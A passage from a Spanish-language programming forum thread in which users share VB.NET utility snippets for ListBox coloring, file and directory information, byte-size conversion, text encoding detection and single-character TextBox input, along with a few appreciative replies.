  10.    Private Function SID_To_ProfilePath(ByVal SID As String) As String
  11.  
  12.        Return My.Computer.Registry.GetValue( _
  13.               "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\" & SID, _
  14.               "ProfileImagePath", _
  15.               "Unknown directory")
  16.  
  17.    End Function
  18.  
  19. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Septiembre 2013, 05:42 am
· Colorear los items de un ListBox.


0W7iQMo1D1A


Código
  1. #Region " [ListBox] Colorize Items "
  2.  
  3.  
  4.  
  5. ' [ [ListBox] Colorize Items ]
  6. '
  7. ' // By Elektro H@cker
  8. '
  9. ' Examples :
  10. '
  11. ' Set Drawmode to "OwnerDrawFixed" to make this work.
  12. ' ListBox1.DrawMode = DrawMode.OwnerDrawFixed
  13. '
  14. ' Colorize only selected item:
  15. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.Selected, Brushes.YellowGreen)
  16. '
  17. ' Colorize all Non-Selected items
  18. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.Non_Selected, Brushes.Red)
  19. '
  20. ' Colorize all items:
  21. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.All, Brushes.Yellow)
  22. '
  23. ' Colorize any item:
  24. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.None, Nothing)
  25. '
  26. ' Colorize specific items:
  27. ' Colorize_Item(ListBox1, {0, (ListBox1.Items.Count \ 2), (ListBox1.Items.Count - 1)}, Brushes.HotPink)
  28.  
  29.  
  30.  
  31.    ' Stores the brush color to paint
  32.    Dim ListBox_Color As Brush = Brushes.AliceBlue
  33.  
  34.    Private Enum Colorize_ListBox_Items As Short
  35.        Selected = 0
  36.        Non_Selected = 1
  37.        All = 2
  38.        None = 3
  39.    End Enum
  40.  
  41.    Private Sub Colorize_Item(ByVal ListBox As ListBox, _
  42.                              ByVal Items As Colorize_ListBox_Items, _
  43.                              ByVal Brush_Color As Brush)
  44.  
  45.        ' Stores the Enum value
  46.        ListBox.Tag = Items.ToString
  47.  
  48.        ' Stores the brush color
  49.        ListBox_Color = Brush_Color
  50.  
  51.        ListBox.Invalidate() ' Refresh changes
  52.  
  53.    End Sub
  54.  
  55.    Private Sub Colorize_Item(ByVal ListBox As ListBox, _
  56.                              ByVal Items As Integer(), _
  57.                              ByVal Brush_Color As Brush)
  58.  
  59.        ' Stores the index items
  60.        ListBox.Tag = String.Join(ChrW(Keys.Space), Items)
  61.  
  62.        ' Stores the brush color
  63.        ListBox_Color = Brush_Color
  64.  
  65.        ListBox.Invalidate() ' Refresh changes
  66.  
  67.    End Sub
  68.  
  69.    Private Sub ListBox_DrawItem(ByVal sender As Object, ByVal e As DrawItemEventArgs) _
  70.    Handles ListBox1.DrawItem
  71.  
  72.        e.DrawBackground()
  73.  
  74.        Select Case sender.tag
  75.  
  76.            Case Colorize_ListBox_Items.Selected.ToString ' Colorize Selected Items
  77.  
  78.                If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
  79.                    e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
  80.                End If
  81.  
  82.            Case Colorize_ListBox_Items.Non_Selected.ToString ' Colorize Non-Selected Items
  83.  
  84.                If (e.State And DrawItemState.Selected) = DrawItemState.None Then
  85.                    e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
  86.                End If
  87.  
  88.            Case Colorize_ListBox_Items.All.ToString ' Colorize all
  89.  
  90.                e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
  91.  
  92.            Case Colorize_ListBox_Items.None.ToString ' Colorize none
  93.  
  94.                Dim DefaultColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  95.                e.Graphics.FillRectangle(DefaultColor, e.Bounds)
  96.                DefaultColor.Dispose()
  97.  
  98.            Case Else ' Colorize at specific index
  99.  
  100.                If Not String.IsNullOrEmpty(sender.tag) _
  101.                AndAlso sender.tag.ToString.Split.Contains(e.Index.ToString) Then
  102.  
  103.                    e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
  104.  
  105.                End If
  106.  
  107.        End Select
  108.  
  109.        Using b As New SolidBrush(e.ForeColor)
  110.            e.Graphics.DrawString(ListBox1.GetItemText(ListBox1.Items(e.Index)), e.Font, b, e.Bounds)
  111.        End Using
  112.  
  113.        e.DrawFocusRectangle()
  114.  
  115.    End Sub
  116.  
  117. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Septiembre 2013, 08:40 am
· Una nueva versión de mi FileInfo personalizado, para obtener información sobre un archivo.

Código
  1.    Public Class InfoFile
  2.  
  3. #Region " InfoFile "
  4.  
  5.        ' [ InfoFile ]
  6.        '
  7.        ' // By Elektro H@cker
  8.        '
  9.        ' Examples:
  10.        '
  11.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Name)) ' Result: Test
  12.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Extension_Without_Dot)) ' Result: txt
  13.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileName)) ' Result: Test.txt
  14.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Directory)) ' Result: C:\
  15.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.DriveRoot)) ' Result: C:\
  16.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.DriveLetter)) ' Result: C
  17.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FullName)) ' Result: C:\Test.txt
  18.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.ShortName)) ' Result: Test.txt
  19.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.ShortPath)) ' Result: C:\Test.txt
  20.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Name_Length)) ' Result: 8
  21.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Extension_Without_Dot_Length)) ' Result: 3
  22.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileName_Length)) ' Result: 8
  23.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Directory_Length)) ' Result: 3
  24.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FullName_Length)) ' Result: 11
  25.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_Byte)) ' Result: 5.127.975
  26.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_KB)) ' Result: 5.007.79
  27.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_MB)) ' Result: 4,89
  28.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_GB)) ' Result: 0,00
  29.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_TB)) ' Result: 0,00
  30.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileVersion)) ' Result: ""
  31.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Attributes_Enum)) ' Result: 8224
  32.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Attributes_String)) ' Result: Archive, NotContentIndexed
  33.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.CreationTime)) ' Result: 16/09/2012  8:28:17
  34.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.LastAccessTime)) ' Result: 16/09/2012 10:51:17
  35.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.LastModifyTime)) ' Result: 16/09/2012 10:51:17
  36.        ' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Has_Extension)) ' Result: True
  37.  
  38.        Public Enum Info
  39.  
  40.            Name                  ' Filename without extension
  41.            Extension_With_Dot    ' File-Extension (with dot included)
  42.            Extension_Without_Dot ' File-Extension (without dot)
  43.            FileName              ' Filename.extension
  44.            Directory             ' Directory name
  45.            FullName              ' Directory path + Filename
  46.  
  47.            DriveRoot             ' Drive letter
  48.            DriveLetter           ' Drive letter (only 1 character)
  49.  
  50.            ShortName ' DOS8.3 Filename
  51.            ShortPath ' DOS8.3 Path Name
  52.  
  53.            Name_Length                  ' Length of Filename without extension
  54.            Extension_With_Dot_Length    ' Length of File-Extension (with dot included)
  55.            Extension_Without_Dot_Length ' Length of File-Extension (without dot)
  56.            FileName_Length              ' Length of Filename.extension
  57.            Directory_Length             ' Length of Directory name
  58.            FullName_Length              ' Length of Directory path + Filename
  59.  
  60.            FileSize_Byte ' Size in Bytes
  61.            FileSize_KB   ' Size in KiloBytes
  62.            FileSize_MB   ' Size in MegaBytes
  63.            FileSize_GB   ' Size in GigaBytes
  64.            FileSize_TB   ' Size in TeraBytes
  65.  
  66.            FileVersion ' Version for DLL or EXE files
  67.  
  68.            Attributes_Enum   ' Attributes as numbers
  69.            Attributes_String ' Attributes as descriptions
  70.  
  71.            CreationTime   ' Date Creation time
  72.            LastAccessTime ' Date Last Access time
  73.            LastModifyTime ' Date Last Modify time
  74.  
  75.            Has_Extension  ' Checks if file have a file-extension.
  76.  
  77.        End Enum
  78.  
  79.        Public Shared Function Get_Info(ByVal File As String, ByVal Information As Info) As String
  80.  
  81.            Dim File_Info = My.Computer.FileSystem.GetFileInfo(File)
  82.  
  83.            Select Case Information
  84.  
  85.                Case Info.Name : Return File_Info.Name.Substring(0, File_Info.Name.LastIndexOf("."))
  86.                Case Info.Extension_With_Dot : Return File_Info.Extension
  87.                Case Info.Extension_Without_Dot : Return File_Info.Extension.Split(".").Last
  88.                Case Info.FileName : Return File_Info.Name
  89.                Case Info.Directory : Return File_Info.DirectoryName
  90.                Case Info.DriveRoot : Return File_Info.Directory.Root.ToString
  91.                Case Info.DriveLetter : Return File_Info.Directory.Root.ToString.Substring(0, 1)
  92.                Case Info.FullName : Return File_Info.FullName
  93.                Case Info.ShortName : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortName
  94.                Case Info.ShortPath : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortPath
  95.                Case Info.Name_Length : Return File_Info.Name.Length
  96.                Case Info.Extension_With_Dot_Length : Return File_Info.Extension.Length
  97.                Case Info.Extension_Without_Dot_Length : Return File_Info.Extension.Split(".").Last.Length
  98.                Case Info.FileName_Length : Return File_Info.Name.Length
  99.                Case Info.Directory_Length : Return File_Info.DirectoryName.Length
  100.                Case Info.FullName_Length : Return File_Info.FullName.Length
  101.                Case Info.FileSize_Byte : Return Convert.ToDouble(File_Info.Length).ToString("n0")
  102.                Case Info.FileSize_KB : Return (Convert.ToDouble(File_Info.Length) / 1024L).ToString("n2")
  103.                Case Info.FileSize_MB : Return (Convert.ToDouble(File_Info.Length) / 1024L ^ 2).ToString("n2")
  104.                Case Info.FileSize_GB : Return (Convert.ToDouble(File_Info.Length) / 1024L ^ 3).ToString("n2")
  105.                Case Info.FileSize_TB : Return (Convert.ToDouble(File_Info.Length) / 1024L ^ 4).ToString("n2")
  106.                Case Info.FileVersion : Return CreateObject("Scripting.FileSystemObject").GetFileVersion(File)
  107.                Case Info.Attributes_Enum : Return File_Info.Attributes
  108.                Case Info.Attributes_String : Return File_Info.Attributes.ToString
  109.                Case Info.CreationTime : Return File_Info.CreationTime
  110.                Case Info.LastAccessTime : Return File_Info.LastAccessTime
  111.                Case Info.LastModifyTime : Return File_Info.LastWriteTime
  112.                Case Info.Has_Extension : Return IO.Path.HasExtension(File)
  113.  
  114.                Case Else : Return String.Empty
  115.  
  116.            End Select
  117.  
  118.        End Function
  119.  
  120. #End Region
  121.  
  122.    End Class





· Lo mismo de arriba pero para directorios:

Código
  1. Public Class InfoDir
  2.  
  3. #Region " InfoDir "
  4.  
  5.    ' [ InfoDir ]
  6.    '
  7.    ' // By Elektro H@cker
  8.    '
  9.    ' Examples:
  10.    '
  11.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Name)) ' Result: Test
  12.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Parent)) ' Result: Test Parent
  13.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FullName)) ' Result: C:\Test Parent\Test
  14.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.DriveRoot)) ' Result: C:\
  15.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.DriveLetter)) ' Result: C
  16.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Name_Length)) ' Result: 4
  17.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FullName_Length)) ' Result: 19
  18.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Attributes_Enum)) ' Result: 8208
  19.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Attributes_String)) ' Result: Directory, NotContentIndexed
  20.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.CreationTime)) ' Result: 16/09/2012  8:28:17
  21.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.LastAccessTime)) ' Result: 16/09/2012 10:51:17
  22.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.LastModifyTime)) ' Result: 16/09/2012 10:51:17
  23.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_Byte)) ' Result: 5.127.975
  24.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_KB)) ' Result: 5.007.79
  25.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_MB)) ' Result: 4,89
  26.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_GB)) ' Result: 0,00
  27.    ' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_TB)) ' Result: 0,00
  28.  
  29.    Public Enum Info
  30.  
  31.        Name                  ' Folder name
  32.        FullName              ' Directory path
  33.        Parent                ' Parent directory
  34.  
  35.        DriveRoot             ' Drive letter
  36.        DriveLetter           ' Drive letter (only 1 character)
  37.  
  38.        Name_Length                  ' Length of directory name
  39.        FullName_Length              ' Length of full directory path
  40.  
  41.        FileSize_Byte ' Size in Bytes     (including subfolders)
  42.        FileSize_KB   ' Size in KiloBytes (including subfolders)
  43.        FileSize_MB   ' Size in MegaBytes (including subfolders)
  44.        FileSize_GB   ' Size in GigaBytes (including subfolders)
  45.        FileSize_TB   ' Size in TeraBytes (including subfolders)
  46.  
  47.        Attributes_Enum   ' Attributes as numbers
  48.        Attributes_String ' Attributes as descriptions
  49.  
  50.        CreationTime   ' Date Creation time
  51.        LastAccessTime ' Date Last Access time
  52.        LastModifyTime ' Date Last Modify time
  53.  
  54.    End Enum
  55.  
  56.    Public Shared Function Get_Info(ByVal Dir As String, ByVal Information As Info) As String
  57.  
  58.        Dim Dir_Info = My.Computer.FileSystem.GetDirectoryInfo(Dir)
  59.  
  60.        Select Case Information
  61.  
  62.            Case Info.Name : Return Dir_Info.Name
  63.            Case Info.FullName : Return Dir_Info.FullName
  64.            Case Info.Parent : Return Dir_Info.Parent.ToString
  65.            Case Info.DriveRoot : Return Dir_Info.Root.ToString
  66.            Case Info.DriveLetter : Return Dir_Info.Root.ToString.Substring(0, 1)
  67.            Case Info.Name_Length : Return Dir_Info.Name.Length
  68.            Case Info.FullName_Length : Return Dir_Info.FullName.Length
  69.            Case Info.FileSize_Byte : Return Convert.ToDouble(Get_Directory_Size(Dir_Info)).ToString("n0")
  70.            Case Info.FileSize_KB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L).ToString("n2")
  71.            Case Info.FileSize_MB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L ^ 2).ToString("n2")
  72.            Case Info.FileSize_GB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L ^ 3).ToString("n2")
  73.            Case Info.FileSize_TB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L ^ 4).ToString("n2")
  74.            Case Info.Attributes_Enum : Return Dir_Info.Attributes
  75.            Case Info.Attributes_String : Return Dir_Info.Attributes.ToString
  76.            Case Info.CreationTime : Return Dir_Info.CreationTime
  77.            Case Info.LastAccessTime : Return Dir_Info.LastAccessTime
  78.            Case Info.LastModifyTime : Return Dir_Info.LastWriteTime
  79.  
  80.            Case Else : Return String.Empty
  81.  
  82.        End Select
  83.  
  84.    End Function
  85.  
  86.    Private Shared Function Get_Directory_Size(Directory As IO.DirectoryInfo) As Long
  87.        Try
  88.            Dim Dir_Total_Size As Long = Directory.EnumerateFiles().Sum(Function(file) file.Length)
  89.            Dir_Total_Size += Directory.EnumerateDirectories().Sum(Function(dir) Get_Directory_Size(dir))
  90.            Return Dir_Total_Size
  91.        Catch
  92.        End Try
  93.        Return -1
  94.    End Function
  95.  
  96. #End Region
  97.  
  98. End Class





Convierte bytes a otra unidad:

Código
  1. #Region " Convert Bytes Function "
  2.  
  3.    ' [ Convert Bytes Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(String.Format("{0} KB", Byte_To_Size(5127975, xByte.kilobyte, 2))) ' Result: 5007,79 KB
  10.    ' MsgBox(String.Format("{0} MB", Byte_To_Size(5127975, xByte.megabyte, 2))) ' Result: 4,89 MB
  11.    ' MsgBox(String.Format("{0} GB", Byte_To_Size(5127975, xByte.gigabyte, 3))) ' Result: 0,005 GB
  12.    ' MsgBox(String.Format("{0} TB", Byte_To_Size(5127975, xByte.terabyte, 3))) ' Result: 0 TB
  13.    ' MsgBox(String.Format("{0} PB", Byte_To_Size(5127975, xByte.petabyte, 3))) ' Result: 0 PB
  14.  
  15.    Enum xByte As Long
  16.        kilobyte = 1024L
  17.        megabyte = 1024L * kilobyte
  18.        gigabyte = 1024L * megabyte
  19.        terabyte = 1024L * gigabyte
  20.        petabyte = 1024L * terabyte
  21.    End Enum
  22.  
  23.    Private Function Byte_To_Size(ByVal bytes As Long, _
  24.                                  ByVal convertto As xByte, _
  25.                                  Optional ByVal decimals As Integer = 2 _
  26.                                  ) As Double
  27.  
  28.        Return (Convert.ToDouble(bytes) / convertto).ToString("n" & decimals)
  29.  
  30.    End Function
  31.  
  32. #End Region
  33.  


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: DarK_FirefoX en 16 Septiembre 2013, 19:52 pm
Este post, parece medio viejito, pero EXCELENTE APORTE. OJALA  LO HUBIERA VISTO ANTES....SAlu2s


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Septiembre 2013, 20:20 pm
Este post, parece medio viejito, pero EXCELENTE APORTE. OJALA  LO HUBIERA VISTO ANTES....SAlu2s

Se agradece, pero es una pena que los .NETeros no estén muy interesados por mis publicaciones en este hilo :P

Un saludo!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 17 Septiembre 2013, 02:59 am
Pues yo echo mano de este hilo de vez en cuando, hay cosas muy útiles.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Septiembre 2013, 19:52 pm
Pues yo echo mano de este hilo de vez en cuando, hay cosas muy útiles.

se agradece también!





·  Devuelve la conversión de bytes a la unidad de tamaño más aproximada

Por ejemplo, si le pasamos "60877579" bytes, nos devuelve este string: "58,06 MB"

Código
  1.  #Region " Round Bytes "
  2.  
  3.    ' [ Round Bytes Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Round_Bytes(1023))             ' Result: 1.023 Bytes
  10.    ' MsgBox(Round_Bytes(80060, 1))         ' Result: 78,2 KB
  11.    ' MsgBox(Round_Bytes(60877579))         ' Result: 58,06 MB
  12.    ' MsgBox(Round_Bytes(4485888579))       ' Result: 4,18 GB
  13.    ' MsgBox(Round_Bytes(20855564677579))   ' Result: 18,97 TB
  14.    ' MsgBox(Round_Bytes(990855564677579))  ' Result: 901,18 PB
  15.    ' MsgBox(Round_Bytes(1987464809247272)) ' Result: 1,77 PB
  16.  
  17.    Enum xByte As Long
  18.        kilobyte = 1024L
  19.        megabyte = 1024L * kilobyte
  20.        gigabyte = 1024L * megabyte
  21.        terabyte = 1024L * gigabyte
  22.        petabyte = 1024L * terabyte
  23.    End Enum
  24.  
  25.    Private Function Round_Bytes(ByVal bytes As Long, _
  26.                                  Optional ByVal decimals As Integer = 2 _
  27.                                  ) As String
  28.  
  29.        Select Case bytes
  30.  
  31.            Case Is >= xByte.petabyte
  32.                Return String.Format("{0} PB", (Convert.ToDouble(bytes) / xByte.petabyte).ToString("n" & decimals))
  33.  
  34.            Case Is >= xByte.terabyte
  35.                Return String.Format("{0} TB", (Convert.ToDouble(bytes) / xByte.terabyte).ToString("n" & decimals))
  36.  
  37.            Case Is >= xByte.gigabyte
  38.                Return String.Format("{0} GB", (Convert.ToDouble(bytes) / xByte.gigabyte).ToString("n" & decimals))
  39.  
  40.            Case Is >= xByte.megabyte
  41.                Return String.Format("{0} MB", (Convert.ToDouble(bytes) / xByte.megabyte).ToString("n" & decimals))
  42.  
  43.            Case Is >= xByte.kilobyte
  44.                Return String.Format("{0} KB", (Convert.ToDouble(bytes) / xByte.kilobyte).ToString("n" & decimals))
  45.  
  46.            Case Is >= 0
  47.                Return String.Format("{0} Bytes", Convert.ToDouble(bytes).ToString("n0"))
  48.  
  49.            Case Else
  50.                Return String.Empty
  51.  
  52.        End Select
  53.  
  54.    End Function
  55.  
  56. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Septiembre 2013, 15:25 pm
· FileSize Converter

Convierte tamaños de unidades de almacenamiento

Código
  1. #Region " FileSize Converter "
  2.  
  3.    ' [ FileSize Converter Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.        ' MsgBox(String.Format("92928374 bytes = {0} Bytes", FileSize_Converter(92928374, Units.bytes, Units.bytes).ToString("n0"))) ' Result: 92.928.374,00 Bytes
  10.        ' MsgBox(String.Format("92928374 bytes = {0} KB", FileSize_Converter(92928374, Units.bytes, Units.kilobyte).ToString("n2"))) ' Result: 90.750,37 KB
  11.        ' MsgBox(String.Format("92928374 bytes = {0} MB", FileSize_Converter(92928374, Units.bytes, Units.megabyte).ToString("n2"))) ' Result: 88,62 MB
  12.        ' MsgBox(String.Format("50 GB = {0} Bytes", FileSize_Converter(50, Units.gigabyte, Units.bytes).ToString("n2"))) ' Result: 53.687.091.200,00 Bytes
  13.        ' MsgBox(String.Format("50 GB = {0} KB", FileSize_Converter(50, Units.gigabyte, Units.kilobyte).ToString("n2"))) ' Result: 52.428.800,00 KB
  14.        ' MsgBox(String.Format("50 GB = {0} MB", FileSize_Converter(50, Units.gigabyte, Units.megabyte).ToString("n2"))) ' Result: 51,200,00 MB
  15.  
  16.    Enum Units As Long
  17.        bytes = 1L
  18.        kilobyte = 1024L
  19.        megabyte = 1048576L
  20.        gigabyte = 1073741824L
  21.        terabyte = 1099511627776L
  22.        petabyte = 1125899906842624L
  23.    End Enum
  24.  
  25.    Private Function FileSize_Converter(ByVal Size As Long, _
  26.                                  ByVal FromUnit As Units, _
  27.                                  ByVal ToUnit As Units) As Double
  28.  
  29.        Dim bytes As Double = Convert.ToDouble(Size * FromUnit)
  30.        Dim result As Double = 0
  31.  
  32.        If ToUnit < FromUnit Then
  33.  
  34.            Select Case ToUnit
  35.                Case Units.bytes : result = bytes
  36.                Case Units.kilobyte : result = bytes / Units.kilobyte
  37.                Case Units.megabyte : result = bytes / Units.megabyte
  38.                Case Units.gigabyte : result = bytes / Units.gigabyte
  39.                Case Units.terabyte : result = bytes / Units.terabyte
  40.                Case Units.petabyte : result = bytes / Units.petabyte
  41.                Case Else : Return -1
  42.            End Select
  43.  
  44.        ElseIf ToUnit > FromUnit Then
  45.  
  46.            Select Case ToUnit
  47.                Case Units.bytes : result = bytes
  48.                Case Units.kilobyte : result = bytes * Units.kilobyte / Units.kilobyte ^ 2
  49.                Case Units.megabyte : result = bytes * Units.megabyte / Units.megabyte ^ 2
  50.                Case Units.gigabyte : result = bytes * Units.gigabyte / Units.gigabyte ^ 2
  51.                Case Units.terabyte : result = bytes * Units.terabyte / Units.terabyte ^ 2
  52.                Case Units.petabyte : result = bytes * Units.petabyte / Units.petabyte ^ 2
  53.                Case Else : Return -1
  54.            End Select
  55.  
  56.        ElseIf ToUnit = FromUnit Then
  57.  
  58.            result = Size
  59.  
  60.        End If
  61.  
  62.        Return result
  63.  
  64.    End Function
  65.  
  66. #End Region
  67.  


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Septiembre 2013, 16:45 pm
· Detectar la codificación de un archivo de texto

(Para quien no entienda de BOM's y codificaciones, no existe una manera 100% fiable de detectar la codificación y puede dar falsos positivos)


Código
  1. #Region " Detect Text Encoding "
  2.  
  3.    ' [ Detect Text Encoding Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(Detect_Text_Encoding("C:\ANSI File.txt").ToString) ' Result: System.Text.SBCSCodePageEncoding
  8.    ' MsgBox(Detect_Text_Encoding("C:\UTF8 File.txt").ToString) ' Result: System.Text.UTF8Encoding
  9.  
  10.  
  11.    Public Function Detect_Text_Encoding(TextFile As String) As System.Text.Encoding
  12.  
  13.        Dim Bytes() As Byte = IO.File.ReadAllBytes(TextFile)
  14.  
  15.        Dim detectedEncoding As System.Text.Encoding = Nothing
  16.  
  17.        For Each info As System.Text.EncodingInfo In System.Text.Encoding.GetEncodings()
  18.  
  19.            Dim currentEncoding As System.Text.Encoding = info.GetEncoding()
  20.            Dim preamble() As Byte = currentEncoding.GetPreamble()
  21.            Dim match As Boolean = True
  22.  
  23.            If (preamble.Length > 0) And (preamble.Length <= Bytes.Length) Then
  24.  
  25.                For i As Integer = 0 To preamble.Length - 1
  26.  
  27.                    If preamble(i) <> Bytes(i) Then
  28.                        match = False
  29.                        Exit For
  30.                    End If
  31.  
  32.                Next i
  33.  
  34.            Else
  35.  
  36.                match = False
  37.  
  38.            End If
  39.  
  40.            If match Then
  41.                detectedEncoding = currentEncoding
  42.                Exit For
  43.            End If
  44.  
  45.        Next info
  46.  
  47.        If detectedEncoding Is Nothing Then
  48.            Return System.Text.Encoding.Default
  49.        Else
  50.            Return detectedEncoding
  51.        End If
  52.  
  53.    End Function
  54.  
  55. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 26 Septiembre 2013, 12:18 pm
Permitir la escritura de 1 solo caracter en un textbox y deshabilitar el menú contextual, tiene algunas diferencias de la propiedad "MaxLength", no pega el primer caracter de una palabra del clipboards si la longitud de la palabra es de 1 caracter (es un code un poco "custom", util para especificar delimitadores de texto de un solo caracter, o cosas parecidas)

Código
  1. #Region " [TextBox] Allow only 1 Character "
  2.  
  3.    ' By Elektro H@cker
  4.  
  5.  
  6.    ' TextBox [Enter]
  7.    Private Sub TextBox_Enter(sender As Object, e As EventArgs) ' Handles TextBox1.MouseEnter
  8.  
  9.        ' Allign the character in the TextBox space
  10.        ' If Not TextBox_Separator.TextAlign = HorizontalAlignment.Center Then TextBox_Separator.TextAlign = HorizontalAlignment.Center Then
  11.  
  12.        ' Disable Copy/Paste contextmenu by creating a new one
  13.        If sender.ContextMenuStrip Is Nothing Then sender.ContextMenuStrip = New ContextMenuStrip
  14.  
  15.    End Sub
  16.  
  17.    ' TextBox [KeyPress]
  18.    Private Sub TextBox_KeyPress(sender As Object, e As KeyPressEventArgs) ' Handles TextBox1.KeyPress
  19.  
  20.        Select Case sender.TextLength
  21.  
  22.            Case 0 ' TextLength = 0
  23.  
  24.                Select Case e.KeyChar
  25.  
  26.                    Case Chr(22) ' CTRL+V is pressed
  27.  
  28.                        ' If Clipboard contains 0 or 1 character then paste the character.
  29.                        e.Handled = IIf(Clipboard.GetText.Length <= 1, False, True)
  30.  
  31.                    Case Else ' Other key is pressed
  32.                        e.Handled = False ' Print the character.
  33.  
  34.                End Select ' e.KeyChar when TextLength = 0
  35.  
  36.            Case 1 ' TextLength = 1
  37.  
  38.                Select Case e.KeyChar
  39.  
  40.                    Case Convert.ToChar(Keys.Back) ' Backspace is pressed
  41.                        e.Handled = False ' Delete the character
  42.  
  43.                    Case Chr(22) ' CTRL+V is pressed
  44.  
  45.                        Select Case sender.SelectionLength
  46.  
  47.                            Case 1 ' If 1 character is selected
  48.                                ' If Clipboard contains 0 or 1 character then paste the character.
  49.                                e.Handled = IIf(Clipboard.GetText.Length <= 1, False, True)
  50.  
  51.                            Case Else ' If any text is selected
  52.                                e.Handled = True ' Don't paste the characters.
  53.  
  54.                        End Select
  55.  
  56.                    Case Else ' Other key is pressed
  57.                        ' If any text is selected then don't print the character.
  58.                        e.Handled = IIf(sender.SelectionLength = 1, False, True)
  59.  
  60.                End Select ' e.KeyChar when TextLength = 1
  61.  
  62.        End Select ' TextLength
  63.  
  64.    End Sub
  65.  
  66.    ' TextBox [TextChanged]
  67.    Private Sub TextBox_TextChanged(sender As Object, e As EventArgs) ' Handles TextBox1.TextChanged
  68.  
  69.        ' // If NOT Text is empty then Save the character:
